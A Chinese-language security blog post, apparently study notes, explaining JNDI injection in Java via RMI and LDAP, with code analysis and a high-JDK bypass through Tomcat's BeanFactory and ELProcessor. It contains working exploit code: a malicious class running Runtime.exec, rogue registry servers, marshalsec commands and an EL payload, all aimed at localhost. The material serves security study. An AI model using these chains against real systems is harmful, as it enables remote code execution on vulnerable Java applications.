前言
记录笔记
JNDI简介
什么是JNDI
JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)。
JNDI结构
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
命名的概念
JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中,以后调用容器环境(Context)的查找(lookup)方法又可以查找出某个名称所绑定的Java对象。容器环境(Context)本身也是一个Java对象,它也可以通过一个名称绑定到另一个容器环境(Context)中。
JDK默认可供调用的服务:RMI,LDAP,DNS,CORBA
重点类介绍
InitialContext
构造方法
//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)
常用方法
//将名称绑定到对象。
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)
Reference类
构造方法
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/
常用方法
//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr)
//将地址添加到地址列表的末尾。
void add(RefAddr addr)
//从此引用中删除所有地址。
void clear()
//检索索引posn上的地址。
RefAddr get(int posn)
//检索地址类型为“addrType”的第一个地址。
RefAddr get(String addrType)
//检索本参考文献中地址的列举。
Enumeration<RefAddr> getAll()
//检索引用引用的对象的类名。
String getClassName()
//检索此引用引用的对象的工厂位置。
String getFactoryClassLocation()
//检索此引用引用对象的工厂的类名。
String getFactoryClassName()
//从地址列表中删除索引posn上的地址。
Object remove(int posn)
//检索此引用中的地址数。
int size()
//生成此引用的字符串表示形式。
String toString()
JNDI References 注入
这是低版本的JNDI注入原理,当使用lookup()方法查找对象时,Reference将使用提供的ObjectFactory类的加载地址来加载ObjectFactory类,ObjectFactory类将构造出需要的对象。
RMI实现JNDI注入
所谓的 JNDI 注入就是控制 lookup 函数的参数,这样来使客户端访问恶意的 RMI服务加载恶意的对象,从而执行代码,完成攻击RMI的客户端。
首先我们还是得写一个简单的RMI
远程类:
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
interface RmiInterface extends Remote {
public String RmiHello() throws RemoteException;
}
public class RmoteCLass extends UnicastRemoteObject implements RmiInterface {
protected RmoteCLass() throws RemoteException {
super();
}
public String RmiHello() throws RemoteException {
return "hello world";
}
}
服务端:
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
public class JindiServer {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("Evilclass","Evilclass","http://127.0.0.1:7777/");
initialContext.rebind("rmi://127.0.0.1:1099/Rmi",reference);
}
}
即把http://127.0.0.1:7777/Evilclass.class这个类绑定到了127.0.0.1:1099/Rmi这个名字上
客户端:
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class Jindiclient {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
RmiInterface lookup = (RmiInterface)initialContext.lookup("rmi://127.0.0.1:1099/Rmi");
System.out.println(lookup.RmiHello());
}
}
恶意类
import java.io.IOException;
public class Evilclass {
public Evilclass() throws IOException {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
然后python起一个http服务
这种方式攻击的是RMI的客户端,然后我们来进一步调试
跟进lookup
然后getURLOrDefaultInitCtx方法会根据传入的标识来返回一个URL上下文,然后调用了另一个lookup方法,现在跟进getURLOrDefaultInitCtx
里面的getURLSchema会根据标识名称获取对应的协议,这里是rmi,接着如果不为空就调用getURLContext来获取rmi协议对象,所以简单来说,getURLOrDefaultInitCtx就是用来获取rmiURLContext的,然后进入到它对应的GenericURLContext类里,进行lookup的调用:
里面的getRootURLContext方法会根据rmi协议去获取一个ResolveResult对象,这个对象里有两个元素:RMI注册中心对象和RMI远程调用对象的名称,getResolvedObj会从ResolveResult对象里获取到RMI注册中心对象,而getRemainingName则是从ResolveResult对象中获取到RMI远程调用对象的名称。
然后是var3.lookup,也就是说是RMI注册中心来调用lookup方法,从而获取到RMI远程调用对象的名称
跟进RMI注册中心的lookup方法
这一步才是真正意义的调用RMI注册中心的lookup方法,RMI注册中心会根据传入的RMI远程调用对象的名称来查找对应的RMI远程调用对象的引用,var2 = this.registry.lookup(var1.get(0));这一句即表明RMI客户端会与注册中心通信,返回RMI服务地址、IP等信息,接下来跟进decodeObject方法
其中Object var3 = var1 instanceof RemoteReference ?((RemoteReference)var1).getReference() : var1;这段代码说明,如果是Reference对象,则会进入getReference()方法,从而与RMI服务器进行一次连接,拿到远程class文件地址;但如果是普通对象,则这里不会进行连接,只有等到正式调用远程函数的时候才会连接RMI服务。
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;
// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
即会先在本地加载工厂类Evilclass,如果loadClass没有在本地找到该类,则它会调用getFactoryClassLocation来获取远程URL地址,如果获取到的不为空,则这段代码:clas = helper.loadClass(factoryName, codebase);会直接根据远程URL地址使用类加载器URLClassLoader来加载Evilclass类,最后的return (clas != null) ? (ObjectFactory) clas.newInstance() : null;会实例化之前的恶意Evilclass类文件,而实例化会默认调用构造方法、静态代码块,所以这就可以成功完成整条链子的任意代码执行
简单总结一下:
在JNDI服务里,RMI服务端既可以直接绑定远程对象,也可以通过
Reference
来绑定一个外部的远程对象,
当这个恶意的Reference
对象绑定到RMI注册中心,且经过一系列的判断之后,RMI服务端就会通过getReference()
方法来获取绑定对象的引用,
然后当客户端通过lookup方法查找远程对象时,便会拿到相应的工厂类,最后就是进行实例化执行任意代码了
使用工具一健起恶意的rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:7777/#Evilclass 1099
然后我们回过头看之前的com/sun/naming/internal/VersionHelper.java#loadClass的代码:
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
}
这个地方用URLClassLoader来进行的远程动态类加载,实际上这种利用方式java在JDK 6U132、7U122、8U113等中做了限制:com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为了false,需要手动设定为ture才能成功,不然就会报错,报错信息如下:
很多版本修复rmi这个问题时,并没有修复ldap的
LDAP实现NDI注入
LDAP
LDAP(Lightweight Directory Access Protocol)-轻量目录访问协议。但看了这个解释等于没说,其实也就是一个数据库,可以把它与mysql对比!
具有以下特点:
基于TCP/IP协议
同样也是分成服务端/客户端;同样也是服务端存储数据,客户端与服务端连接进行操作
相对于mysql的表型存储;不同的是LDAP使用树型存储
因为树型存储,读性能佳,写性能差,没有事务处理、回滚功能。
树层次分为以下几层:
dn:一条记录的详细位置,由以下几种属性组成
dc: 一条记录所属区域
ou:一条记录所处的分叉
cn/uid:一条记录的名字/ID
我们这里依然是工具起一个ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/\#Evilclass 1099
然后我们的客户端
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Ldapclient {
public static void main(String[] args) throws NamingException{
String url = "ldap://127.0.0.1:7777/Evilclass";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
其实和RMI是大差不差的,简单分析一下
前面的流程都差不多,到decodeObject函数
这个时候其实已经将我们引用进行了解封装,已经得到我们的Evilclass类了
真正进行实例化是在后面
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
然后具体的自己再去跟一下就知道流程了,这个只算是jdk版本的绕过方式
JNDI注入绕过高版本限制
具体有两种方法
- 加载本地类
- 反序列化
利用加载本地类绕过高版本java限制
其实高版本的jdk我们还是可以到引用的封装这一步的,但是后续的远程类加载不行了,此时如果利用的是类是存在于CLASSPATH中的,那么在经过javax.naming.spi.NamingManager#getObjectFactoryFromReference
时便会先在本地CLASSPATH里寻找是否存在该类,如果没有,则再总远程寻找,所以这就可以绕过版本限制。
在找本地可利用类时,由于之前javax.naming.spi.NamingManager#getObjectFactoryFromReference
最后的return语句存在类型转型,所以这个工厂类必须要实现javax.naming.spi.ObjectFactory
接口;并且还要至少有个getObjectInstance()方法。
安全人员找到了org.apache.naming.factory.BeanFactory
,且这个类存在于Tomcat的依赖里,所以应用很广泛。
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>9.0.7</version>
</dependency>
服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;
public class JindiServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",
(String)null, "", "", true, "org.apache.naming.factory.BeanFactory",
(String)null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("evil", referenceWrapper);
}
}
客户端
import javax.naming.InitialContext;
public class Jindiclient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/evil");
}
}
然后我们简单来看一下,前面都差不多,然后调用到decodeObject
最终会获得工厂类
这个工厂类就是BeanFactory,然后会调用他的getObjectInstance方法
这个方法里面就是反射调用造成的危害
根据我们的构造bean又是ELProcessor类,最后执行是因为javax.el.ELProcessor#eval方,这就是常见的EL表达式的利用了,从而达到绕过的效果。
利用反序列化绕过高版本java限制
既然是要反序列化,那么前提必然是要有可利用的Gadgets才行,也即是表明目标环境必须要存在Gadgets所需的一些包(如Commons-Collections-3.2.1等),我们需要找方法触发反序列化,LDAP有一个特殊的字段javaSerializedData,只要设置了它便会给Client端返回序列化串然后被反序列化
跟着看了看,不想复现了,具体可以看:https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!